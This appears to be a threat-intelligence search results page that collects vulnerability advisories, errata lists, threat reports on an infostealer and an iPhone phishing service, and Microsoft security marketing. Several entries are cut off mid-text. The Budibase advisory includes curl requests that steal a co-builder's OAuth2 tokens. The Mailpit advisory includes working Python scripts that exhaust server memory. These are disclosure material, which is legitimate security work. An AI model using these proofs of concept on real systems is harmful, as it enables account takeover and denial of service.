Search: mail-service.pe.hu

A vulnerability was identified in NocoDB up to 2026.08.0. This issue affects some unknown processing of the file users.service.ts of the component Registration. Such manipulation leads to race condition. The attack may be performed from remote. The attack requires a high level of complexity. The exploitability is assessed as difficult. The vendor deleted the GitHub issue for this vulnerability without any explanation. Afterwards the vendor was contacted early about this disclosure via email but did not respond in any way.

Aokigahara is an infostealer malware targeting traditional data sources such as browsers, VPN clients, cryptocurrency wallets, FTP/SFTP clients, password managers, and email applications. It uniquely targets AI applications and development tools, stealing authentication files, session data, and configuration files from services like Claude, ChatGPT Desktop, Codex, and GitHub Copilot. It also collects developer credentials including Git files, SSH private keys, and cloud service credentials (AWS, Azure, Google Cloud). The stolen AI credentials may be used for unauthorized access, account resale, or data extortion. The malware uses anti-analysis techniques and secures its command-and-control communications with AES-256 encryption and X25519 key exchange.

A race condition vulnerability in the Linux kernel's imx mailbox driver was addressed by adding a channel shutdown field. The issue involved a timing window where the RX event could be re-enabled by an interrupt service routine while the shutdown process was waiting on free_irq(), potentially causing problematic interrupt handling and a 'nobody cared' message from the irq-core. The fix introduces a shutdown flag to properly serialize event enabling and prevent interrupts from being re-enabled during shutdown.

CVE-2026-110249 is a denial-of-service vulnerability in the Exchange email component as processed by Mozilla Thunderbird. A malicious, compromised, or man-in-the-middle controlled Exchange server can send a SOAP response with an element containing enough attributes to cause Thunderbird's main thread to become CPU-bound for a prolonged period, ranging from seconds to hours. This issue was addressed and fixed in Thunderbird versions 158 and 153.5.

Mozilla Thunderbird is a standalone mail and newsgroup client. Security Fix(es): * firefox: thunderbird: Use-after-free in the Graphics: Canvas2D component (CVE-2026-100832) * firefox: Use-after-free in the Layout: Text and Fonts component (CVE-2026-100784) * firefox: thunderbird: Privilege escalation in the DLL Services component (CVE-2026-100801) * firefox: thunderbird: Sandbox escape due to incorrect boundary conditions in the Internationalization component (CVE-2026-100794) * firefox: thunderbird: Privilege escalation in the Address Bar component (CVE-2026-100820) * firefox: thunderbird: Use-after-free in the Graphics: Canvas2D component (CVE-2026-100777) * firefox: thunderbird: Information disclosure in the Networking: JAR component (CVE-2026-100766) * firefox: thunderbird: Use-after-free in the XSLT component (CVE-2026-100779) * firefox: thunderbird: Privilege escalation in the DOM: Service Workers component (CVE-2026-100807) * firefox: thunderbird: JIT miscompilation in the JavaScript: WebAssembly component (CVE-2026-100792) * firefox: Privilege escalation due to use-after-free in the Graphics: WebRender component (CVE-2026-100797) * firefox: thunderbird: Sandbox escape due to incorrect boundary conditions in the XPCOM component (CVE-2026-100819) * firefox: thunderbird: Use-after-free in the JavaScript: WebAssembly component (CVE-2026-100776) * firefox: thunderbird: Use-after-free in the Widget component (CVE-2026-100757) * firefox: Sandbox escape due to use-after-free in the Graphics component (CVE-2026-100786) * firefox: thunderbird: Information disclosure in the Networking component (CVE-2026-96869) * firefox: Sandbox escape due to use-after-free in the DOM: Content Processes component (CVE-2026-100770) * firefox: thunderbird: Use-after-free in the JavaScript: WebAssembly component (CVE-2026-100769) * firefox: Use-after-free in the DOM: Core & HTML component (CVE-2026-100791) * firefox: thunderbird: Sandbox escape due to use-after-free in the Widget: Gtk component (CVE-2026-100818) * firefox: thunderbird: Privilege escalation due to incorrect boundary conditions in the Graphics component (CVE-2026-100782) * firefox: firefox: Sandbox escape via use-after-free in DOM component (CVE-2026-100811) * firefox: thunderbird: Use-after-free in the DOM: Core & HTML component (CVE-2026-100772) * firefox: thunderbird: Uninitialized memory in the Storage: Quota Manager component (CVE-2026-100759) * firefox: Sandbox escape due to use-after-free in the DOM: Core & HTML component (CVE-2026-100778) * firefox: thunderbird: Sandbox escape in the DOM: Navigation component (CVE-2026-100758) * firefox: thunderbird: Sandbox escape in the Graphics component (CVE-2026-100775) * firefox: thunderbird: Sandbox escape due to incorrect boundary conditions in the Graphics: WebRender component (CVE-2026-100781) * firefox: Use-after-free in the DOM: Core & HTML component (CVE-2026-100774) * firefox: thunderbird: Same-origin policy bypass in the WebExtensions component (CVE-2026-100803) * firefox: thunderbird: Use-after-free in the Graphics: Canvas2D component (CVE-2026-100789) * firefox: thunderbird: Use-after-free in the DOM: Core & HTML component (CVE-2026-100785) * firefox: thunderbird: Site isolation issue in the Panning and Zooming component (CVE-2026-100821) * firefox: thunderbird: Invalid pointer in the JavaScript: WebAssembly component (CVE-2026-100788) * firefox: thunderbird: Undefined behavior in the DOM: Streams component (CVE-2026-100771) * firefox: Sandbox escape due to use-after-free in the DOM: Content Processes component (CVE-2026-100762) * firefox: thunderbird: Use-after-free in the XSLT component (CVE-2026-100790) * firefox: thunderbird: Use-after-free in the Storage: IndexedDB component (CVE-2026-100773) * firefox: thunderbird: Use-after-free in the DOM: Core & HTML component (CVE-2026-100780) * firefox: thunderbird: Use-after-free in the Networking: Cache component (CVE-2026-100767) * firefox: thunderbird: Incorrect boundary conditions in the Audio/Video: Playback component (CVE-2026-100756) * firefox: thunderbird: Uninitialized memory in the Audio/Video component (CVE-2026-100783) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

zbateson/mail-mime-parser is a mail mime parser alternative to PHP's imap* functions and Pear libraries for reading messages in Internet Message Format RFC 822. Starting in version 2.0.0 and prior to version 3.0.6 and 4.0.2, an uncontrolled resource consumption / algorithmic complexity vulnerability (CWE-400) affects any application that parses untrusted email with this library. Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does **not** bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first `getAllParts()` or content read. This is fxed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions. Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.) These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.

Collector with the supported components for a Red Hat build of OpenTelemetry Security Fix(es): * net/mail: golang: net/mail: Denial of Service via pathological email address parsing (CVE-2026-42499) * net/mail: golang: Go net/mail: Denial of Service via crafted email inputs (CVE-2026-39820) * mime: golang: Golang MIME: Denial of Service via maliciously-crafted MIME header (CVE-2026-42504) * github.com/open-telemetry/opentelemetry-go: go.opentelemetry.io/otel/baggage: go.opentelemetry.io/otel/propagation: OpenTelemetry-Go: Denial of Service via oversized baggage headers (CVE-2026-41178) * encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal (CVE-2026-33818) * net/url: golang: golang net/url: Denial of Service from quadratic complexity in path resolution (CVE-2026-56860) * net/http: golang: Go net/http: Unencrypted HTTP/2 connections vulnerable to Denial of Service (CVE-2026-56853) * html/template: golang: Go html/template: Cross-Site Scripting via pathological input (CVE-2026-56858) * crypto/tls: golang: Golang crypto/tls: Denial of Service via indefinite KeyUpdate messages (CVE-2026-56862) * encoding/xml: golang: Go: Denial of Service via XML decoding recursion depth issue (CVE-2026-56859) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

A service for building customized OS artifacts, such as VM images and OSTree commits, that uses osbuild under the hood. Besides building images for local usage, it can also upload images directly to cloud. It is compatible with composer-cli and cockpit-composer clients. Security Fix(es): * crypto/internal/nistec: golang: Timing sidechannel for P-256 on ppc64le in crypto/internal/nistec (CVE-2025-22866) * crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation (CVE-2026-32281) * net/mail: golang: net/mail: Denial of Service via pathological email address parsing (CVE-2026-42499) * mime: golang: Golang MIME: Denial of Service via maliciously-crafted MIME header (CVE-2026-42504) * github.com/open-telemetry/opentelemetry-go: go.opentelemetry.io/otel/baggage: go.opentelemetry.io/otel/propagation: OpenTelemetry-Go: Denial of Service via oversized baggage headers (CVE-2026-41178) * github.com/labstack/echo: Echo: Unauthorized Information Disclosure via URL Path Decoding Discrepancy (CVE-2026-55677) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Several functions in cstruct may use wrong data, leading to unexpected exceptions and return corrupted data. ## Impact - `Cstruct.filter_map` writes retained bytes at their original input positions, producing corrupted output when earlier bytes are dropped. - `Cstruct.tail ~rev:true` removes two bytes instead of one and raises an exception for single-byte views. - `Cstruct.cuts ~rev:true` may compare input against the wrong data, split at incorrect positions, and construct results using offsets outside the requested view. - `Cstruct.find` and `Cstruct.find_sub ~rev:true` may return slices from the wrong location when operating on non-zero-offset views. These are a set of logical indexing and bounds-calculation errors (CWE-682), and not direct memory-safety vulnerabilities. However, affected operations may return corrupted data, raise an unexpected exception, split input incorrectly, or return bytes outside the requested Cstruct view but still within its backing buffer. In security-sensitive parsers, this could cause validation bypasses, denial of service, or unintended disclosure of adjacent buffer contents. ## Workarounds Users unable to upgrade cstruct should backport the corresponding source changes. There is no configuration-based mitigation since these are buggy library calls. ## References Discovered via [Scrutineer](https://github.com/alpha-omega-security/scrutineer) and Deepseek GLM-5.3 Flash running locally. ## Timeline - 2026-09-04: reported via GitHub to ocaml/security-advisories repository - 2026-09-05: reported via email to security@ocaml.org - 2026-09-05: patch proposed and reviewed - 2026-09-05: release cstruct 6.3.0 - 2026-09-10: published advisory

AnonyMousKIT is an AI-powered Phishing-as-a-Service platform engineered to disable Apple's Activation Lock on stolen devices. Operating as a credit-metered system, it automates credential harvesting through email, SMS, WhatsApp, and AI-driven voice phishing calls. The investigation exposed a reseller supply chain spanning 506 domains and 168 storefront brands active since early 2024. The platform targets owners of stolen Apple devices using device-specific lures with internal model identifiers and real-time Find My statuses. Conversational AI agents impersonating Apple Support conduct vishing operations, with over 200 calls placed primarily to Brazil at minimal cost. Coding vulnerabilities exposed 120,242 lines of operational logs, revealing 689 distinct WhatsApp operator accounts and detailed attack infrastructure. The ecosystem operates through a decentralized enterprise structure with developers, resellers, and hundreds of subscriber-operators monetizing stolen iPhone hardware through industrialized soc...

Campaign#credential harvesting#iphone theftUnited States+17

AnonyMousKIT is a phishing-as-a-service platform that uses voice AI agents to trick victims into revealing iPhone passcodes and Apple account credentials. The service automates the retrieval of unlocking codes to bypass Apple's Activation Lock, enabling thieves to unlock stolen iPhones and access sensitive data. It impersonates Apple through phishing emails and calls, directing victims to fake Apple pages to harvest passcodes and two-factor authentication codes. The platform has been active since early 2024 and operates a large ecosystem with hundreds of reseller storefronts. Most attacks target Brazil, but campaigns have a global footprint including South Africa, Indonesia, Italy, India, and Kenya. Compromised Apple IDs can expose iCloud backups, Keychain passwords, and corporate data. The service lowers the value of stolen devices by enabling full unlocking and data access.

Security teams are being asked to defend a growing attack surface with fewer people and around the clock, against threat actors who never take a night off. As cyberattackers increasingly use AI to launch and scale campaigns, the volume, speed, and sophistication of threats continue to rise. Closing that gap takes more than tooling. It takes a partner that pairs a leading security platform with scaled intelligence and human experts who can act on your behalf at any hour. That’s exactly what Microsoft Defender Experts MDR is built to do. We are excited to announce that we have been named a Leader in the 2026 IDC MarketScape: Worldwide MDR/MXDR for the Enterprise Vendor Assessment (Doc #US54792426, July 2026). Read the excerpt here . Scale your SOC with Microsoft Defender Experts MDR Expert-led MDR, built on the Microsoft Defender platform Microsoft Defender Experts MDR is a round-the-clock, expert-led managed detection and response service that helps security teams triage, investigate, and respond to incidents so they can stop cyberattackers in their tracks and prevent future compromise. Rather than bolting a separate stack of tools and connectors onto your environment, the service operates natively on Microsoft Defender , with built-in protection across endpoints, identities, email, cloud apps, cloud workloads, and network security, as well as around-the-clock proactive threat hunting with Microsoft Defender Experts Hunting . Because the service is delivered on the same platform it monitors, detection and intelligence improvements reach customers continuously. The insights our experts generate also strengthen protection across the broader Defender ecosystem, so every customer benefits from what we learn defending the next environment. The IDC MarketScape vendor assessment model is designed to provide an overview of the competitive fitness of technology and service suppliers in a given market. The research uses a rigorous scoring methodology based on both qualitative and quantitative criteria that results in a single graphical illustration of each supplier’s position within a given market. The Capabilities axis measures supplier product, go-to-market, and business execution in the short term, while the Strategy axis measures how well a supplier’s strategy aligns with customer requirements over a 3-5-year timeframe. Supplier market share is represented by the size of the icons . Threat intelligence at internet scale Great detection starts with great intelligence. Defender Experts MDR draws on Microsoft’s global threat intelligence: more than 10,000 security researchers and 100 trillion signals analyzed every day across billions of users and millions of organizations. 1 That breadth lets our analysts recognize subtle patterns early, often before a campaign escalates, and respond with higher-confidence attribution than intelligence sourced from any single customer’s telemetry could provide. AI-accelerated operations, expert-led decisions Defender Experts MDR also combines advanced AI and generative AI with seasoned human experts. AI filters noise, grades and classifies incidents, and accelerates investigation at machine speed and scale, while our analysts own the outcome. According to the IDC MarketScape, “70% AI-assisted workflows are enabled through automated noise filtering, AI-based grading, and agentic operations while maintaining expert decision-making.” Furthermore, “quantified outcomes noted include 97% AI classification accuracy, 77% malware/phishing agent-investigated, 72% faster resolution combining AI and humans, and 45% autonomous investigations.” The impact shows up in the work. Over the past year, Defender Experts mitigated 27,000 high-severity incidents, and the team’s threat research now contributes a meaningful share of all Defender detections, enriching protection for customers well beyond the MDR service itself. Throughout, a dedicated security delivery expert and on-demand access to our experts keep customers i…

Every organization needs security that protects end to end with the speed and scale of AI. Microsoft’s vision is simple: security should be ambient and autonomous, just like the AI it protects. As organizations scale AI and expand across environments, security teams need protection that covers every surface. This month’s updates help security and IT teams secure their AI environments, use AI to defend at speed and scale, and strengthen the foundations that AI-powered operations depend on. Here’s what’s new: Project Perception brings agentic defense to security operations Project Perception , newly announced, is a coordinated system of specialized agents, cybersecurity-focused models, and enterprise-wide signals that transform how security operates. The agents work as a team: red team agents expose weaknesses, blue team agents investigate cyberthreats, and green agents harden what’s found. These multi-agent autonomous workflows work as a team to operate in continuous loops to execute end-to-end security workflows. Learn more about Project Perception Microsoft Defender secures the full AI attack surface, from inbox to cloud Expanded Microsoft Defender protections are designed to reduce risks associated with day-to-day AI interactions, from email inboxes to cloud agent environments. New prompt injection protection in Microsoft Defender, now in preview, identifies and isolates emails containing malicious AI instructions before delivery, reducing the risk of prompt injection attacks reaching the inbox. Unified Defender posture and runtime protection for cloud agents in Microsoft Agent 365 consolidates security posture assessment and runtime protection for Microsoft Foundry, Microsoft Copilot Studio, and third party-managed agents, helping teams reduce AI-specific risk across the agent estate. Accelerate detection, prioritization, and response with AI embedded in SecOps workflows Security teams can accelerate detection, prioritization, and response to cyberthreats with AI embedded directly into security operations (SecOps) workflows through Microsoft Defender. Threat intelligence enhancements, including Microsoft Defender Threat Intelligence convergence and an enhanced Threat Intelligence Agent , bring more out-of-the-box intelligence and automation into the unified SecOps workflow, so teams can move from summary to action. Strengthen the cloud, code, and identity foundations AI depends on Microsoft Defender is strengthening the foundational protections that AI-era operations depend on across cloud, code, and identity. Cloud Security Posture Management extends coverage to serverless containers , giving teams visibility and continuous posture assessment across containerized workloads running on Azure Container Apps, Azure Container Instances, and Amazon Web Services Elastic Container Service (AWS ECS) on Fargate. New interconnected experiences between Defender and Microsoft Entra empower the security operations center (SOC) to disable compromised identities directly using a role-based access control (RBAC) mode that maintains least privilege. Microsoft Defender Experts services are also expanding : Microsoft Defender Experts Threat Intelligence delivers human-led, curated insight into the cyberthreats most relevant to each organization, and Microsoft Defender Experts MDR extends expert-run detection and response beyond the Microsoft estate into third-party and multicloud signals through Microsoft Sentinel . Microsoft Entra strengthens identity across the AI-powered enterprise Strengthen identity foundations for AI-powered operations New capabilities in Microsoft Entra are designed to strengthen the identity foundations that AI-powered operations depend on. Tenant governance helps organizations discover, manage, and govern tenants across their environment with centralized policies and cross-tenant delegated administration. Microsoft Entra ID is making passkeys the default authentication experience , which helps reduce reliance on SMS…

## Summary When an SSO-authenticated user tests an automation in the Budibase builder, their OAuth2 access token and refresh token are included in the automation test results. These results are broadcast via WebSocket to all builders connected to the same dev app and stored in an in-memory cache accessible to any builder who polls the test status endpoint. This allows any co-builder of the same app to steal the testing user's OAuth2 tokens. ## Details The vulnerability exists because `getUserContextBindings()` intentionally includes OAuth2 tokens in user context bindings (so automations can call external APIs), but the automation test pipeline exposes the full result — including these tokens — to all builders of the same app without sanitization. **Step 1: Tokens included in user bindings** In `packages/server/src/sdk/users/utils.ts:134-161`: ```typescript export function getUserContextBindings(user: ContextUser): UserBindings { const bindings: UserBindings = { _id: user._id, email: user.email, // ... } if (isSSOUser(user) && user.oauth2) { bindings.oauth2 = { accessToken: user.oauth2.accessToken, // <-- sensitive refreshToken: user.oauth2.refreshToken, // <-- sensitive } } return bindings } ``` **Step 2: Bindings passed to automation execution** In `packages/server/src/api/controllers/automation.ts:311-312`: ```typescript const user = sdk.users.getUserContextBindings(ctx.user) return await triggers.externalTrigger( { ...automation, disabled: false }, { ...input, appId, user }, // user with tokens passed as event param { getResponses: true, onProgress: emitProgress } ) ``` **Step 3: Tokens placed in trigger outputs** In `packages/server/src/threads/automation.ts:409-413`: ```typescript const trigger: AutomationTriggerResult = { id: data.automation.definition.trigger.id, stepId: data.automation.definition.trigger.stepId, inputs: null, outputs: data.event, // data.event includes user.oauth2 tokens } ``` **Step 4: Result broadcast without sanitization** The full result (including `trigger.outputs.user.oauth2`) is exposed via two vectors: 1. **WebSocket broadcast** — `builderSocket.emitToRoom()` calls `this.io.in(room).emit()` (`packages/server/src/websockets/websocket.ts:291`) which sends to ALL sockets in the app's room, not just the originator. 2. **Test status endpoint** — `recordTestProgress()` stores the result in a Map keyed by `${appId}:${automationId}` with no user isolation (`packages/server/src/automations/testProgress.ts:41-74`). Any builder can call `GET /api/automations/:id/test/status` to retrieve another user's test results. ## PoC Requires two builder-level users on the same Budibase app, where User A authenticates via SSO/OIDC (Google, Azure AD, etc.) which provides OAuth2 tokens. ```bash # Step 1: User A (SSO-authenticated builder) tests an automation asynchronously curl -X POST http://localhost:10000/api/automations/<automation-id>/test?async=true \ -H 'x-budibase-app-id: app_dev_<appid>' \ -H 'Cookie: budibase:auth=<userA_session>' \ -H 'Content-Type: application/json' \ -d '{"row": {"tableId": "ta_xxx"}}' # Returns: {"message": "Automation test started"} # Step 2: User B (another builder on the same app) polls the test status curl -X GET http://localhost:10000/api/automations/<automation-id>/test/status \ -H 'x-budibase-app-id: app_dev_<appid>' \ -H 'Cookie: budibase:auth=<userB_session>' # Response includes the full automation result with: # result.trigger.outputs.user.oauth2.accessToken = "ya29.a0AfH6SM..." # result.trigger.outputs.user.oauth2.refreshToken = "1//0eXyz..." ``` Additionally, User B can passively receive the tokens by simply having the Budibase builder open (connected via WebSocket), as the `BuilderSocketEvent.AutomationTestProgress` event with `status: "complete"` includes the full result payload. ## Impact - **OAuth2 access tokens** for external services (Google Workspace, Azure AD, GitHub, etc.) are exposed to co-builders of the same app. These tokens can be used to access external APIs as the victim user. - **OAuth2 refresh tokens** provide persistent access — an attacker can generate new access tokens even after the original expires, maintaining long-term access to the victim's external service accounts. - The attack is passive via WebSocket — an attacker only needs to have the builder UI open to receive tokens when any co-builder tests an automation. - Test results persist in memory for 5 minutes (TTL in `testProgress.ts:15`), providing a window for polling-based attacks. ## Recommended Fix Strip OAuth2 tokens from automation test results before storing/broadcasting them. The tokens are needed during automation execution but should not be included in the result sent to clients. In `packages/server/src/api/controllers/automation.ts`, sanitize the result before passing to `emitProgress`: ```typescript function sanitizeAutomationResult(result: AutomationResults): AutomationR

### Summary The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill. ### Details Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates). Affected code [internal/smtpd/smtpd.go:107](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L107) — the field exists: ``` type Server struct { ... MaxSize int // Maximum message size allowed, in bytes ... } ``` [internal/smtpd/smtpd.go:863-877](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/smtpd.go#L863-L877) — the enforcement is gated on > 0: ``` for { ... line, err := s.br.ReadBytes('\n') if err != nil { return nil, err } if bytes.Equal(line, []byte(".\r\n")) { break } if line[0] == '.' { line = line[1:] } if s.srv.MaxSize > 0 { // ← only when set if len(data)+len(line) > s.srv.MaxSize { _, _ = s.br.Discard(s.br.Buffered()) return nil, maxSizeExceeded(s.srv.MaxSize) } } data = append(data, line...) // ← otherwise grows unbounded } ``` [internal/smtpd/main.go:223-248](https://github.com/axllent/mailpit/blob/develop/internal/smtpd/main.go#L223-L248) — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var. [server/apiv1/send.go:45-52](https://github.com/axllent/mailpit/blob/develop/server/apiv1/send.go#L45-L52) — HTTP path has the same defect: ``` decoder := json.NewDecoder(r.Body) data := sendMessageParams{} if err := decoder.Decode(&data.Body); err != nil { httpJSONError(w, err.Error()) return } ``` No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget. ### PoC Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth): ``` #!/usr/bin/env python3 # poc-smtp-dos.py import socket, sys host, port = sys.argv[1], int(sys.argv[2]) mb = int(sys.argv[3]) # message size, MiB s = socket.create_connection((host, port), timeout=120) def r(): return s.recv(4096).decode("latin-1", "replace").strip() print(r()) for cmd in [b"HELO x\r\n", b"MAIL FROM:<a@b.com>\r\n", b"RCPT TO:<c@d.com>\r\n", b"DATA\r\n"]: s.sendall(cmd); print(r()) s.sendall(b"Subject: oversize\r\n\r\n") chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(b"\r\n.\r\n") print(r()); s.close() ``` ``` $ python3 poc-smtp-dos.py 127.0.0.1 1025 100 220 hostname Mailpit ESMTP Service ready 250 hostname greets x 250 2.1.0 Ok 250 2.1.5 Ok 354 Start mail input; end with <CR><LF>.<CR><LF> 250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 1062848 # ≈ 1 037 MiB, up from 25 MiB baseline ``` Equivalent over HTTP: ``` # poc-http-dos.py import socket, sys host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3]) prefix = b'{"From":{"Email":"a@b.com"},"To":[{"Email":"c@d.com"}],"Subject":"big","Text":"' suffix = b'"}' N = mb * 1024 * 1024 clen = len(prefix) + N + len(suffix) s = socket.create_connection((host, port), timeout=120) s.sendall( b"POST /api/v1/send HTTP/1.1\r\n" b"Host: x\r\n" b"Content-Type: application/json\r\n" b"Content-Length: " + str(clen).encode() + b"\r\n" b"Connection: close\r\n\r\n") s.sendall(prefix) chunk = b"X" * (1024 * 1024) for _ in range(mb): s.sendall(chunk) s.sendall(suffix) print(s.recv(500).decode("latin-1", "replace")) ``` ``` $ python3 poc-http-dos.py 127.0.0.1 8025 200 HTTP/1.1 200 OK ... $ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit) 2147000 # comfortably above 2 GiB on the same process ``` Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB

HCL Aftermarket EPC is vulnerable to email flooding as the application does not have a proper mail limitation mechanism at Forget Password functionality. The actor could b e a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic or other consequences.

Red Hat Edge Manager (RHEM) provides simple, scalable, and security-focused management of edge devices and applications. It supports image-mode RHEL and container workloads that run on Podman/Docker or Kubernetes. RHEM is now available as a standalone feature, providing greater flexibility for edge deployments. In addition to the standalone version, RHEM continues to be offered as a plugin for the following platforms: Red Hat Advanced Cluster Management (RHACM): Extends fleet management to edge devices. Red Hat Ansible Automation Platform (AAP): Integrates edge management with Ansible automation. This integration enables organizations to optimize the management and orchestration of their fleets of edge devices; whether its thousands of dispersed retail point-of-sale systems or industrial machinery on remote factory floors. Value for customers and partners: * This solution not only helps customers manage thousands of devices but helps scale operations. * To manage large-scale deployments, customers need to be able to integrate with their existing management systems, support remote configuration and over-the-air updates, and collect telemetry data for advanced analytics. * Red Hat Edge Manager offers a simple and security-focused lifecycle management, from onboarding to decommissioning of edge devices. This complete end-to-end solution empowers organizations to gain the most value from the fleets of devices that generate data, all from a centralized location. Security fixes: * golang.org/x/crypto/ssh: Denial of Service via crafted SSH certificate (CVE-2026-39835) * golang.org/x/crypto/ssh: Denial of Service via resource leak from unsolicited SSH responses (CVE-2026-39830) * golang.org/x/crypto/ssh: Denial of Service via crafted public key with excessive parameters (CVE-2026-39829) * golang.org/x/crypto/ssh: Unauthorized command execution via discarded SSH permissions (CVE-2026-39828) * golang.org/x/crypto/ssh: Authorization bypass due to skipped source-address validation (CVE-2026-46595) * golang.org/x/crypto/ssh/agent: Security bypass due to improper handling of key restrictions (CVE-2026-39832) * golang.org/x/crypto/ssh/knownhosts: Revocation bypass via unchecked SignatureKey (CVE-2026-42508) * golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing (CVE-2026-39821) * Go net package: Denial of Service via long CNAME response in LookupCNAME (CVE-2026-33811) * Go crypto/x509: Denial of Service via inefficient certificate chain validation (CVE-2026-32281) * Go crypto/tls: Denial of Service via multiple TLS 1.3 key update messages (CVE-2026-32283) * Go: Denial of Service vulnerability in certificate chain building (CVE-2026-32280) * Go crypto/x509: Incorrect enforcement of email constraints (CVE-2026-27137) * Go net/url: Incorrect parsing of IPv6 host literals (CVE-2026-25679) * golang: Denial of Service due to excessive resource consumption via crafted certificate (CVE-2025-61729) * github.com/jackc/pgx: Memory-safety vulnerability (CVE-2026-33816) * github.com/jackc/pgx: Memory-safety vulnerability (CVE-2026-33815) * gRPC-Go: Authorization bypass due to improper HTTP/2 path validation (CVE-2026-33186) * Prometheus: Information disclosure of Azure OAuth client secret via config API (CVE-2026-42151) * Prometheus: Denial of Service via uncontrolled memory allocation in remote read endpoint (CVE-2026-42154) * Root.Chmod can follow symlinks out of the root (CVE-2026-32282) * Kubelet, CRI-O, kube-apiserver: Denial of Service via SPDY streaming code (CVE-2026-35469)